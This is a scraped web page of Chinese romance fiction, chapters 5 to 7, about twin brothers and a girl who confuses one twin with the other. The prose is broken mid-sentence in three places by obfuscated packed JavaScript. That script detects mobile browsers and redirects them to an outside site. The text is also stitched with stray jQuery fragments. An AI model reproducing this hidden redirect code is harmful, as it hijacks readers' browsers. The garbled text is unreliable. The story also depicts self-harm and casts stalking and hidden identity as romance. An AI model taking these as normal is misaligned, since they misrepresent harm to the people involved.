就像季行月每次失败嚎啕时,大人们张开双臂环住他的身体,送上满含安慰和鼓励意味的拥抱。 这样的拥抱,会有多温暖? 好想知道。 在他愣神的时候,马尾女生已经安抚好了韩栀子,两人很不讲究地你一口我一口把巧克力棒吃完,手挽手走了。 地上有个什么物件在太阳光下反光,季舒阳走过去,弯腰捡起来。 是一张智明中学的学生证。 证件照上的女生抿唇笑得僵硬,看着有些傻气。 李再星——这个智明异类的名字。 季舒阳还在端详这张傻气的证件照,耳边传来一阵急促脚步声。 他抬起头,一路跑来的马尾女生气喘吁吁停在他面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484284|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “同、同学……这、这张学生证是我的,谢谢你帮我捡起来啊。” 李再星伸手要从他手里拿回学生证,却被季舒阳躲开。 “我们学校不让外校学生进。”季舒阳淡淡开口,声音微冷。 “是、是,你说得对……” 混进别人学校被抓个正着,李再星有些尴尬,“我是为了安慰我朋友才偷偷混进来的,不是来干坏事的。” 同为青安市的名牌中学,智明和明礼一向水火不容。 智明校风自由,明礼管教严厉,截然不同的校风和教学理念,导致两个学校无论是老师还是学生,相互间敌意很大。 所以被抓包的李再星很心虚,双手合十恳求,“同学你这么帅,心肠一定很好,所以能不能别告老师?” 她在外套兜里掏了半天,掏出钥匙纸巾等等一堆乱七八糟的小杂物,也不知道在翻什么,最后掰开手机壳,拿出夹层里的备用现金,好商好量道:“你看我身上就只有二十块钱,要不给你……” “我不是勒索犯。” 季舒阳打断她的贿赂。 李再星挠了挠脸,“那你怎么才能不告老师,把我学生证还我?” 季舒阳盯着她。 她看起来很迫切,毛茸茸的两条眉毛拧成焦虑的竖八,一双杏眼可怜兮兮地望过来。 分不清是被蛊惑还是被动摇,他鬼使神差地开口:“你能不能和我抱一……握个手?” 李再星愣住:“啊?” 没听错的话,他刚刚是想说抱一下吧? 虽然中途改口成握手,但是这要求未免也……太猥琐了吧! 李再星看他的眼神里带上明显的鄙夷和戒备,语气也没了刚才的狗腿,能听出很明显的嫌弃:“同学,长得再帅也不能耍流氓啊。” 李再星刚想说这学生证不要算了,对方却忽然道歉。 “对不起,冒犯了。”季舒阳把学生证还给她。 他道歉得太突然,还同意归还学生证,李再星反而混乱了。 这人真是无法理解又莫名其妙。 李再星想着赶紧拿上学生证离开,伸手去拿时,瞥见他袖口没完全挡住的半截手腕,血淋淋的抓痕布满冷白的皮肤,触目惊心。 李再星一顿,伸手去拿学生证的动作,改而去抓住他的手,想看个究竟。 对方像是下意识地抓着袖子往下拉,将伤痕完全挡住。 却又因为这个动作,让李再星看见了他那只手的手指,指甲旁边的皮肉被撕得不成模样,光是看着就疼。 李再星错愕抬眼,迎面望进他的眼睛。 她的视线宛如一把利器,直挺挺刺过来,季舒阳板着脸别过去,没再看她,“可以松手了吗?” 抓着他的人却迟迟没有松手的动作。 风掠过二人相牵在一起的手,翠绿郁葱的梧桐树叶在头顶簌簌。 金色光斑穿过枝叶缝隙落在他们身上,跟着风和树叶的节奏,忽明忽暗掠过。 她是忽然开口的,清亮的声音郑重其事: “同学,听说你们学校抓早恋很严,要是老师来了,咱俩分头跑,你千万要帮我打掩护啊。” 季舒阳跟不上她的思路:“什么?” 他扭头看向她,她坚毅的面孔映入眼帘时,他的手被她抓着往她的方向拽过去。 季舒阳脚下不稳,微微踉跄,紧接着被正面迎上的女生抱住。 抱着他的人比他瘦小,抱住他的力度却很沉,纤细的双臂张开,紧紧环住他的身体。 太阳的光和热聚在他消瘦的脊柱,滞留在怀里的体温似乎比阳光更暖,像正在燃烧的流星,越是知道不会多作停留,越想将它据为己有。 这样的拥抱,原来这么温暖。 季舒阳闭上眼。 伤痕累累的皮肤仍在阵阵刺痛,心脏却像在被什么轻轻抚摸,温柔地填满每一处裂痕。 其他人都在欢度期中考后的校庆,校园里一片喧闹。 远离喧嚣的梧桐树下,他们在斑驳的日光中无声相拥。 自那之后,他的一周,从李再星开始。 5. 第 5 章 高马尾在身后摇晃,杏眼弯成月牙,一颗小虎牙显露唇下。 季舒阳没办法控制自己,一次又一次地去偷看站台玻璃门倒映出的那张笑脸。 时隔许久,在地铁站再一次遇见,他几乎立刻认出李再星的背影。 身体比理智先行一步,季舒阳跟在她身后。 也只是跟在她身后。 时至今日,他仍是个恐惧失败的人。 他能接受李再星不记得他,但无法接受李再星拒绝他。 她拒人于千里之外的可能性,仅仅只是在脑海中一闪而过,就足够让他浑身颤抖。 直到地铁呼啸而过,季舒阳仍旧停在她身后的两步外。 度过珍贵又短暂的五分钟,新一趟地铁到站,李再星走上地铁,他紧随其后。 这个时间点,地铁站人流量并不多,座位富余,空气冷清。 李再星在空长椅最左边坐下,季舒阳停在最右边,落座,假装正视着前方,余光捕捉对面玻璃窗的倒影。 地铁开动没多久,李再星就开始摇摇晃晃地打起瞌睡。 她的脑袋越垂越低,姿势越来越危险,却睡得很沉。 季舒阳几次启唇,想叫醒她,又因顾虑合上。 如果叫醒她,她会认出他吗?会记得他吗? 如果记得,会讨厌他吗?会再拒绝他吗? 思绪百转千回,纠结成一团乱麻。 就在这时,李再星越垂越低的脑袋猛地往前一坠。 来不及思考其他,身体比大脑更先做出反应,季舒阳伸手托住她的额头。 李再星也终于惊醒,坐直身体立刻道歉:“对不起!” 扭头的一瞬间四目相对。 近距离看她,每一根睫毛都分明,圆睁的杏眼盛满歉意和惊慌,像受惊的小猫。 好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱。 心跳都似乎停掉一拍。 季舒阳绷紧面部肌肉,才没泄露自己的慌乱,“没事。” 声带仿佛生锈,发出的声音干涩又紧绷。 他搭在腿上的手指紧攥成拳,指甲陷入掌心,对犯下这种失误的自己,做出习惯性的惩罚。 惩罚已是无用功。 李再星已经坐正身体,象征对话结束。 季舒阳却又暗自松口气。 她没认出他。 短暂庆幸后,是漫长失落。 她不记得他。 心脏像被淬毒的丝线密密麻麻缠绕住,分不清渗入的毒素带给他的是苦涩还是痛楚。 李再星似乎困得厉害,强撑着不睡,清脆巴掌声令他侧目。 几番握拳,季舒阳终于问出口:“你在哪个站下车?” “青大站。” 这个回答让季舒阳一愣。 像被惊喜礼盒砸中,没能去成东晏的遗憾在此刻一笔勾销。 这是老天对他的眷顾。 第二次相遇,是刻意的安排。 季舒阳没季行月那么强的人脉,费了些时间才查到李再星的专业和课表,费尽心机,制造出偶遇的假象。 “好巧,又见面了!” 李再星看向他的杏眼里带着惊喜。 季舒阳想说一点都不巧。 如果你知道我是如何暗中打听你的动向,如何像个跟踪狂一样接近你,你会不会像那时一样,把我当作变态,对我充满戒备和鄙夷? 一定不会像现在这样,对我露出这么友好的笑容。 最终,他什么都没说。 怀揣着窃喜和愧疚,自私地装作巧合。 李再星仍旧和以前一样活泼,也确实不再记得他。 她熟稔地同他相处,比季舒阳想象中更亲切。 欲望的边界又一次扩大。 季舒阳盯着手机里新增的联系人电话,第N次打开消息编辑框,又第N+1次犹豫该发送什么。 玄关处传来钥匙插入门锁的声音,季舒阳下意识退出消息页面,息屏手机。 季行月打开门,随手将钥匙丢到鞋柜上方,拿出拖鞋往地上一丢,蹬上就屋内走,也没将脱下的鞋放回鞋柜,任它们歪七扭八挡在门口。 兜里碍事的手机,今天夹娃娃带回来的包挂,他边走边脱行头,一如既往随手丢,最后往沙发上一倒,瘫进沙发的怀抱。 “累死我了。” 季行月有气无力感慨,像是徒步几百公里的旅人,累到连声音都悬浮。 装模作样需要演技,也需要体力,他今天都快把脸笑僵。 季舒阳冷眼看着他一到家就把家里搞得乱七八糟,“这周是你值日。” 季行月犯懒没动,“歇会儿再收拾,我今天一天都在应付人,真的很累。” 季舒阳看不惯他乱丢东西的习惯,捡起滚落到地上的猫咪挂件,不客气丢他脸上,“我说过,你再这么邋遢,我就回学校住。” 这句话总算威胁到季行月,他连忙坐起来,“别啊,我收,我马上就收拾。” 他在外租房获得父母许可的一大条件,是季舒阳也跟着一起住。 因为季舒阳能看着他,防止他和朋友瞎混,夜不归宿。 季行月三下五除二收拾好乱丢的东西,准备回房继续躺,又被季舒阳叫住。 季舒阳拿着他刚才丢到沙发上的猫咪挂件,“还有这个。” 季行月没接,摆摆手,“给你了,这么丑的东西我也用不上。” 季舒阳低头看了眼这猫咪挂件,确实说不上好看,挤眉弄眼的嘚瑟表情贱嗖嗖的,却偏偏有颗虎牙,还刚好也是左边。 熟悉的既视感。 季舒阳捏住它圆滚滚的黄脑袋,弯了弯嘴角。 …… 黄色大脑袋,贱嗖嗖的嘚瑟笑。 李再星一从书里抬头,就瞥见隔壁座位熟悉的丑萌猫咪头,脸还是正对着她,像个小小监督员。 她视线往上,男生熟悉的侧脸映入眼帘,坐在和她相隔一个座位的位置,正低着头看书,清薄的单眼皮半垂着,眉目俊朗,神色专注。 李再星上午只有一节课,离午饭时间还早得很,就没回宿舍,又见这节教室似乎下节课也空着,干脆留在了教室自习,整理上节课的笔记。 但她完全没想到会在这里遇见季行月。 也不知道他在这坐了多久,她戴着耳机,整理笔记太投入,竟然一点动静都没注意,而他竟然也没喊她。 教室里还有其他几个人在自习,避免打扰到其他人,李再星用便利贴跟他打招呼:好巧,你怎么在这? 递过去的便利贴让季舒阳手中的签字笔一顿,偏头看向她,眼里情绪不明。 李再星咧着嘴朝他挤出一个灿烂又傻气的笑,脸上的笑纹愈发明显,一侧的小虎牙冒着尖尖。 季舒阳低下头,掩饰微妙的不自在,在她的便利贴上写字:来这自习。 李再星忍不住要自恋了,这边是北校,他横跨大半个校区来这边自习? 她直接问:跑这么远来自习吗? 季舒阳回:刚好来这边办事。 好吧,李再星相信了他的说辞。 虽然他没细说是什么事,但也没必要跟她说谎。 因为她没跟季行月互通过课表,不知道彼此的上课时间和地点。 而且,她也没自恋到觉得季行月会专门打听到她的课表来跟她装偶遇。 都已经出去吃过饭看过电影了,想见面再约,在微信上说一声就成,他没必要这么麻烦。 李再星看了眼时间,离第四节课下课还有些时间,正是食堂不用排队的时候。 她在便利贴上写:快下课了,一起去吃饭吗? 季舒阳没写字回复,低嗯一声,合上笔帽,直接开始收拾东西。 李再星看着他把那个猫咪挂件扣到书包拉链上,周末时,她还以为他对这种公仔没兴趣,没想到会随身带着,刚刚还特意把这小东西取下来,摆在桌子上。 李再星随口说了句:“看来你很喜欢这个娃娃呀。” 她只是随口一感慨,却听季舒阳说:“你喜欢的话,可以给你。” 他说着还真把这挂件重新取下来,一副要给她的模样。 周末才送给他的,怎么能有再收回来的道理,李再星连忙摆手,“不用不用,这个就留给你吧,我也有一个,你看!” 李再星拎起书包,把挂在拉链上的猫咪挂件亮给他看。 也是黄色大脑袋,但表情是严肃死鱼脸。跟他手上这个显然同款。 季舒阳视线顿了顿,为这巧合颇感意外。 这款猫咪最近很流行吗? 不过,他不讨厌这样的流行。 季舒阳把挂件重新挂回书包上,瞥了眼她的,又瞥了眼自己的,不着痕迹弯了弯唇。 还没到第四节课下课时间,这个点,食堂人不多,李再星跟他打完饭选了个没人的空餐桌,面对面坐着吃。 李再星忍不住偷偷打量他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484285|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今天没像上次那样打扮浮夸,穿着低调的一身黑,耳朵上也没有多余装饰。 这让她觉得自在多了。 今天的他也比上次安静很多,甚至都没怎么跟她对视,像是在回避什么一样。 这样的相处状态,让李再星莫名地有种她才是被恐惧的“潮女”。 但她今天的打扮也没很奇怪吧? 快吃完的时候,李再星问:“你下午有课吗?吃完饭要不要回去睡午觉?” 季舒阳顿了顿,说:“没课,不用。” 李再星立刻提议:“那我们吃完饭去晒晒太阳吧,我带你去个好地方。” 她说的好地方就是北校的猫咪天堂。 地点就在综合教学楼后面的小公园,铺着大片的草坪,种着景观绿植,是校园流浪猫最喜欢来晒太阳的场所,所以被学生们称为猫咪天堂。 今天天气很好,步入冬天的青安市难得放晴,气温不冷也不热。 草地里三两成对的学生,吃饱喝足的流浪猫,都在慵懒悠闲地晒太阳。 “这只叫趴菜,因为它喜欢趴着睡觉,旁边这只叫呼噜,摸它的时候,它呼噜声最大。” 李再星盘腿坐在草坪上,向男生介绍正在晒太阳的两只橘猫。 “趴菜的脾气不好,第一次见面,你小心着点,别被它挠了。可以先摸摸呼噜,它的脾气很好。” 季舒阳依言伸手,去摸那只睡成大鸡腿的那橘猫。 指尖才轻挠两下它的额头,它就立刻发出很响的呼噜声,猫如其名。 “它们俩长得一样,你是怎么认出来的?”他问。 这确实是两只长得很相似的猫,也是同一胎的兄弟,即使经常来猫咪天堂撸猫的学生,都有些难区分它们。 李再星不好意思说这是自己数次认错,被趴菜挠伤后的血泪经验,她扬起下巴虚张声势:“因为我有一双火眼金睛,当初送他们去绝育的也是我,厉害吧?” 这副得意洋洋的模样,活像季舒阳书包上挂着的那只臭屁猫。 季舒阳浅浅地弯起唇角:“嗯,真厉害。” 像哄小孩的语气。 李再星每次在室友或者损友面前嘚瑟的时候,都会迎来几句阴阳怪气,她自己也知道这种嘚瑟很欠揍,习惯了她们不带恶意的损嘴。 他的夸赞丝毫没有阴阳怪气的意味,也并非是真的被她故作夸张的嘚瑟唬到,更像是明知她在故意嘚瑟,也纵容地顺着她。 李再星反而有点不好意思了,轻咳了两声。 人在不好意思的时候总是装作很忙,她也没事找事地伸手,去摸趴在一旁睡觉的趴菜。 却在伸手过去时,季舒阳突然伸出手,修长有力的手指将她的手一把抓住。 他的手比她大一圈,手指削瘦修长,几乎将她的手整个包裹住。 掌心传来的温度比晒在身上的阳光更暖,李再星整个人愣住。 心脏蓦地乱了一拍。 季舒阳提醒:“不是说它脾气不好,会挠人吗,小心些。” 李再星眨了眨眼,“我说的是第一次见面要小心点,我喂过它很多次了,它认得我……” 季舒阳立刻松开了她的手,“抱歉,冒犯了。” “没、没事,谢谢……” 李再星已经不知道自己在说什么了,满心满脑都是被他握在手心时的触感。 大脑分成两半,一半在为刚才的牵手而激动,一半在为自己解释得太快,手还没牵热乎就松开而遗憾。 她没注意到,在她分神时,季舒阳不动声色换了一只手摸猫,另一只手悄悄地攥在身侧。 初冬午后的阳光既温暖又热烈,两人的耳朵都晒得微微发红。 时间在无知无觉中飞快溜走,直到李再星的手机响了两声,打破这难以留住的宁静。 关柔在微信里问,她怎么一中午都没回宿舍,要不要帮她把下午上课的书带过去。 李再星这才发觉午休时间马上就要结束了。 “糟糕,我下午满课,得赶紧走了,你也赶紧回去吧!” 她说完就立刻起身要走。 季舒阳跟着她站起身,目送她离开。 走出两步的女生又忽然停住,转身朝他挥手,灿烂地笑。 季舒阳也弯唇微笑。 下一秒,清亮的女声却喊出另一个名字。 “季行月,下次见啦!” 如同一盆冷水向季舒阳当头浇下。 欣喜戛然而止,他愣在原地。 一瞬间,面如死灰。 6. 第 6 章 “啊、啊啾——” 季行月打了个喷嚏。 这该死的感冒,几天了都不见好。 虽然也有他没吃感冒药的关系,但它就不能自己靠免疫力好吗,非得吃什么感冒药,那么难吃,他吃个屁! 因为感冒不舒服,季行月在心里爆粗的频率直线上升,心情差劲的时候,连自己的身体都会骂。 让他烦躁的不只是身体的不适,还有季舒阳。 这两天,季舒阳莫名变得很奇怪,先是看他打喷嚏感冒,突然嘴毒来一局句,买了头孢,记得配酒。 这就算了,他大人有大量,不跟季舒阳计较。 可这之后的两天,季舒阳就更奇怪了。 不光在学校一见到他就走,无视他的打招呼,同在一个屋檐下住着,季舒阳都没怎么跟他碰面。 他跟季舒阳搭话,季舒阳就马上回房关门,一副对他爱答不理的模样。 奇了怪了! 季行月前前后后思考自己究竟是哪里做错了事,是把他买来的冰淇淋全吃光了这事被他发现了?还是不小心穿错他内裤这事被他知道了? 可无论哪件事,都不像是季舒阳会对他冷战的理由,季舒阳只会当面怼他损他。 季行月最受不了别人有话不直说,哪怕是季舒阳。从小到大,他跟季舒阳也没冷战过几次。 倒是有动手打过架,当然,每次都是晚出生几分钟的他被血脉压制得死死的。 每次被季舒阳揍完,他还得再挨一顿父母的骂。 因为他哥从小就是乖孩子,是他的榜样,不可能犯错。 一套DNA的兄弟,人们总是会偏袒更优秀的那个。 季舒阳就像是书中故事的主角,优秀,懂事,光环强大。即便不需要刻意表现出平易近人的性格,也仍旧被所有人喜爱。 父母如此,朋友如此,甚至季行月曾经有好感的女孩也如此。 高中入学典礼上,那个有着和名字风格截然相反的明艳长相的女孩,在乌泱泱的白菜土豆中美得格外突出。 一次意外,季行月偶然听见那个女孩和朋友的通话。 “我们学校有对长得很帅的双胞胎。”女孩对电话另一端的朋友如是说道。 是在说我呢。 季行月听到这里时很惊喜。 但接下来的对话,与他不再有任何关系。 话里话外反复被提及的,只有季舒阳。 明明是双胞胎,明明我性格更好,为什么连你也喜欢他? 所有比较的结果,为什么总是季舒阳在赢? 往事越想越气,季行月吸了吸鼻子,还是绕到了冰柜前,推开玻璃盖,拿了两桶冰淇淋。一桶他爱的柠檬红茶味,一桶季舒阳喜欢的可可咖啡味。 结完账,拎着两桶冰淇淋回到家,季行月刚把冰淇淋放冰箱,正准备去敲季舒阳的门,手机忽然响了一声。 他看了一眼,是小土豆发来的消息。 小土豆:我上次拍了好多猫咪的照片,发给你吧。 这两条消息之后,紧接着,好几张照片涌进聊天页面。 照片里都是学校里的流浪猫。 季行月不知道她怎么突然提起猫这个话题了,也对这些猫没什么兴趣,但其中一张照片,定住了他的视线。 照片里的那只橘猫头上,有只挺好看的手。 呸,关键不是好看,而是…… 那是只男人的手! 季行月霎时睁大了眼睛,点开那张照片,放大看,再放大,再看,得出的结论没变。 这绝对是男人的手! 他这两天感冒心烦,李再星没联系他,他刚好落得清静,也就没多想。 但万万没想到,李再星没联系他的这两天,竟然跟别的男人去约会了??? 看她一副憨憨小土豆的模样,还以为她很老实,结果是个广撒渔网的海王吗? 他被渔场管理了?他堂堂季行月? 他这张脸沦落到被渔场管理??? 胜负欲就像是鼓胀到极致的气球,啪地一下炸了。 季行月一股无名火往心头冒,也不去喊季舒阳了,站在冰箱旁边,低头噼里啪啦地在对话框里打字。 -这个手是谁的? 不行,不能这么问,删掉。 -你和谁去撸猫了? 这么问也不行,再删掉。 -哇,小猫咪真可爱,下次也叫上我吧~ 这回复够装模作样,符合他的人设。 季行月咬牙切齿,拇指用力按下发送键。 就算问出对方是谁,也对他没什么用处。他就不信这小土豆广撒网的鱼里,还有比他长得更帅性格更好的! 这小土豆也真是缺心眼,竟然把跟别的男人约会的照片往他这里发,还露出这么大的马脚。 季行月重重哼了声,拿着杯子去接水喝,给自己降降火。 手机在这时接连响了三声。 季行月不慌不忙喝了口水,这才举起来看。 还是小土豆发来的消息: -好啊,下次再一起去吧! -对了,我还偷偷拍了张你跟呼噜的合照。 -[图片] 看清照片里的人,季行月一口水直接喷出来。 “……我靠?!” 这他爹的不是季舒阳吗! 季舒阳怎么突然跟李再星待在一起了? 李再星还把季舒阳当成了他? 这一瞬间,季行月感觉自己的大脑CPU都快烧没了。 他像只无头苍蝇,在冰箱前走来走去,走去走来,寻思这是怎么一回事。 这段时间,季舒阳频频心情好到下厨,确实反常,如今一想,或许是因为李再星。 而前天晚上,季舒阳陡然心情变差,还跟他冷战,八|九不离十也因为和李再星发生了什么。 季行月一阵头脑风暴,顾不上回复李再星的消息,他三步并作两步,冲到季舒阳房门前,一把打开房门:“季舒阳,跟我聊聊!” 季舒阳正坐在书桌前敲代码,漆黑瞳仁倒映电脑屏幕的光,脸上没有任何表情。 房门猛地被打开,他连眼皮都没动一下,始终盯着电脑屏幕,“我不锁门不是为了让你不敲门就进屋。” 他声音冷得渗人,季行月一个激灵。 血脉压制在这刻见效,季行月老老实实把门关上,按规矩敲了两下门,重新打开,说话的气势也不如刚才,“我们聊聊。” 季舒阳仍旧一个眼神都没给他,“我没说要跟你聊,出去。” 季行月:“……” 季行月额角青筋狂跳,忍住跳脚冲动。 也不再拐弯抹角,他扯唇问:“你这两天为什么躲着我?” 后三个字的音刻意被咬重。 季舒阳敲键盘的手指蓦地一顿。 捕捉到他的反应,季行月知道自己猜对了,季舒阳不是在冷战,而是在心虚。 他继续追问:“你做了什么亏心事?” 季舒阳抿起唇,停在键盘上方的手指蜷曲成拳。 他终于转过头,看向季行月,“为什么没告诉我,你遇见了李再星?” “李再星?我跟她认识,为什么要特意告诉你?” 季行月佯装不记得,又假装有点记起来的模样,“仔细一想这名字有点耳熟……噢!她该不会是你高中时喜欢的那个女生吗?” 他演技其实不错,毕竟在人前装模作样这么多年。 但现在,他面前的人是季舒阳,还未出生就紧密联系在一起的同胞兄弟。 季舒阳冷眼看着他,“幸亏当年你没接受那个星探的邀请去拍戏,不然娱乐圈又多了一个废物花瓶。” 季行月:“……” “好吧我承认,我知道她是你当时喜欢的那个女生,跟她遇见也是巧合。” 没能骗过他,季行月索□□待,“但我有必要告诉你吗?告诉你之后呢,你要我当月老,帮你追她?” 季行月抱臂靠上门框,同样冷眼看着他,“别忘了,我已经帮过你一次,她也早就拒绝过你。” 指甲深深掐进掌心,季舒阳垂下眼,无法反驳。 确实,早在高中的时候,李再星就拒绝了他。 高二那年第一次见面,季舒阳从李再星和韩栀子的对话中,获取到一些信息。 比如她是智明的学生,和韩栀子家住得很近。 韩栀子是走读生,智明和明礼又不在一个区,所以很大可能是李再星在智明寄宿,周一坐地铁去学校。 季舒阳当时是班长,很容易就知道韩栀子家的住址。 于是每到周一,他跑到韩栀子家附近的地铁站,在地铁运行之前等在那里,跟着李再星一起坐地铁到智明,再打车回明礼。 李再星去上学的时间没什么规律,偶尔会很晚,踩着上课时间到学校。 季舒阳一厢情愿跟着,也为此在上课迟到很多次。 明礼纪律严格,迟到就扣个人分,当扣的分数达到某个值,就会罚做公共卫生打扫。 季行月原本以为他每周一很早就出门是为了去学校自习,还怨怼过,都年级第一了还这么卷。 时间久了,季行月察觉异样,在一次尾随季舒阳后,发现了他的秘密。 “我真是服了你了,你是跟踪狂吗,每天这么尾随人家?” “没有每天,只在周一。” “……” 季行月无语至极,每天和每周有什么区别,本质不还是跟踪狂? 季行月不知道季舒阳为什么会认识这个智明的学生,两个学校互相看不顺眼,除了联考拿成绩打架,也没别的交集,但季舒阳这个行为,显然不是一时兴起。 季行月:“你喜欢她?” “……” 季舒阳没回答。 虽然没回答,季行月却很清楚地看到他的脸在一点点变红。 这个次次考年级第一也不见得笑一下,被女生偷偷塞情书也从来都不看,仿佛斩断了七情六欲的人,竟然!因为这一句话就!脸!红!了! “我靠,好恶心!” 季行月着实受不了,最关键的是,这人还跟他长得同一张脸。 他简直鸡皮疙瘩都要起来,想大声朝窗外喊救命。 “所以你打算怎么办?” 终于冷静下来,季行月问他。 季舒阳觉得他这问题莫名其妙,“什么怎么办?” 季行月觉得他的反应更莫名其妙,“喜欢就追啊,难不成你想一直这么每周一尾随人家,先不说人家发现之后会不会报警,你再多迟到几次,你猜教导主任会不会打电话回家?到时候你怎么跟爸妈交待?” 季舒阳被问得哑口无言。 沉默了许久,才低声开口:“我没想过跟她交往。” 季行月看透了他,冷哼一声:“骗鬼呢。” 季舒阳无法反驳。 起初是没想过,偶尔见到一面就很心动,仅靠这一面的回味就能开心一整天。 这种心情就像一颗种子,贪心地生长后,会渐渐想暴露在阳光下。 季行月瞧他这上又不敢上,放又放不下的没出息模样,恨铁不成钢地叹了口气,给他出主意道:“听说智明马上就要搞元旦晚会,到时候你找个时间混进去,去要她的联系方式。” 闻言,季舒阳皱起眉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484286|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果她拒绝呢?” 毕竟他们之前那次见面不算很愉快,她对他的印象应该很不好,那个拥抱也是同情成分居多。 季行月只觉得自己像是听到了什么酒后胡话,“拒绝?就凭你这张脸,还会有人拒绝你?怎么可能?” 作为他的同卵双胞胎兄弟,有着同一张连父母有时都会认错的脸,季行月决不允许季舒阳质疑自己的颜值。 季舒阳低着头,无意识地去撕指甲旁的倒刺,声音低到像是自言自语,“怎么不可能。” 被李再星拒绝的这种可能性,光是想想就让他绝望。 就像是每天只埋头学习,不让自己接触任何新事物新爱好,他只能够待在熟悉的舒适区保持完美。 他没有勇气去接触未知,任何一丝失败的可能性都让他不安到极点。 季行月不理解他的怯弱,也完全不明白他到底在顾虑什么。 唯一清楚的是,这件事不能就这么放在这不管。 就算被拒绝的概率是99%,但什么都不做,就只能得到100%的失败。 于是季行月擅自做了一个决定——他代替季舒阳去找李再星。 反正是同一张脸,不会被发现。 知道季舒阳肯定不会同意,所以他先斩后奏。 虽然季行月对自己的颜值很有自信,但看到季舒阳这么顾虑,他直觉这小土豆的眼光一定很高。 所以在去智明找李再星前,季行月隆重地给自己好好打扮了一番,还特意用了一次性染发喷雾,染了个时髦的黄毛,戴上了帅气的耳夹。 “看哥帅不死你。” 这是季行月出门前照镜子的最后感想。 如他所料,他确实帅到了对方。 他站到小土豆面前的时候,她眼睛都不知道该往哪放,害羞得都不敢跟他对视。 就跟听口令实行操作的机器人一样,他怎么说,她就怎么照做,乖乖地扫了他递过去的季舒阳的微信二维码,向季舒阳发送了好友申请。 这波先斩后奏的操作很成功。 季行月一回家就向季舒阳邀功,向他讨要一个月的零花钱。 季舒阳虽然对他擅自行动有怨念,但也为这个结果而欣喜,大手一挥,给他的报酬翻了两倍。 和李再星加上微信好友后,季舒阳想了一整个通宵,才想好打招呼的第一句话。 七个字:你好,我是季舒阳。 季舒阳郑重其事地把这条消息发过去。 然而,等待着他的却是红色感叹号。 他被李再星删除了。 怎么会这样? 是因为他隔得太久给她发消息,让她觉得莫名其妙了? 还是因为第一次见面的事情,给她留下了不好的印象,让她都不愿意再跟他多说一句话? 无论什么原因,聊天页面上的红色感叹号都如同晴天霹雳。 季行月拿到了零花钱就做起撒手掌柜,把钱花光后才想起来问一句有什么进展。 彼时已经过了两周。 季舒阳当时沉默了很久,最后只说了一句,“我被拒绝了。” 除此之外,他再没说其他,也再没去见过李再星。 “你这两天躲着我,是因为你用了我的身份去和她相处吧?”季行月问。 心脏像被压上石头,沉重又梗塞。季舒阳低声道:“我不是故意。” “但你没有解开这个误会,她至今都以为你是我。” 季行月旁观着他的沉默。 正如季舒阳能一眼看穿他的演技,他也能轻易知晓季舒阳的私心。 因为他们是紧密相连的同卵兄弟。 季行月唇角一勾:“既然这样,那将错就错吧。” 季舒阳倏然抬眼。 对上他惊愕目光,季行月微微一笑,意味深长:“谁让我们是双胞胎呢。” …… “我crush又约我吃饭!” 502女生宿舍,李再星举起手机,“姐妹们,大声告诉我,我李某人是不是马上要告别单身狗行列了?” 关柔和王佳佳一前一后抬头,一附一和:“大声告诉我,脱单后第一件事是什么?” “请吃饭!” 李再星脑袋一扬:“放心,少不了你们的!” 这次和季行月约饭的地点不像上次那样去外面吃,而是就在学校。 季行月突然在微信里问她吃没吃过南校食堂。 李再星大一开学时就把所有食堂光顾了个遍,南校三个食堂味道也就那样,和北校没差,但她丝毫不介意再去一次。 刚好两人周五下午都没课,于是中午约在了南校二食堂见面,吃完饭还能去逛一逛南校,撸一把南校那边的流浪猫。 周五的中午,李再星一下第四节课就飞奔过去,又在半路想起来王佳佳同志的教导,无论何时都不能让自己看着很急切,于是立刻就停下步子。 她平复好呼吸,擦掉脑门上的汗,对着镜子整理好头发,没有刘海就捋了捋脑门上的胎毛,这才向着南校二食堂,迈出女王的步伐。 二食堂前庭屹立的老榕树,粗壮的树干使劲延伸,茂密的枝叶在冬季也生机勃勃,宛如一顶巨大的绿色伞盖。 枝繁叶茂的榕树下,有一个高大清瘦的男生,戴着顶棒球帽。 他侧脸对着这边,没发现她。 风吹过来时树荫晃动,斑驳的阳光落在他黑色的帽檐,他轻敛着眼眸,不知在出神地想着什么。 女王的气势瞬间被李再星抛到九霄云外,一看见他就不由自主心情很好地露出笑。 李再星蹦蹦跳跳朝男生小跑过去,轻拍了下他肩膀,“嘿,季行月!” 7. 第 7 章 被叫的男生冷不防抖了一下,嘴巴微张,差点发出声音,明显被吓到。 李再星捂着嘴抱歉:“我吓到你了吗?” 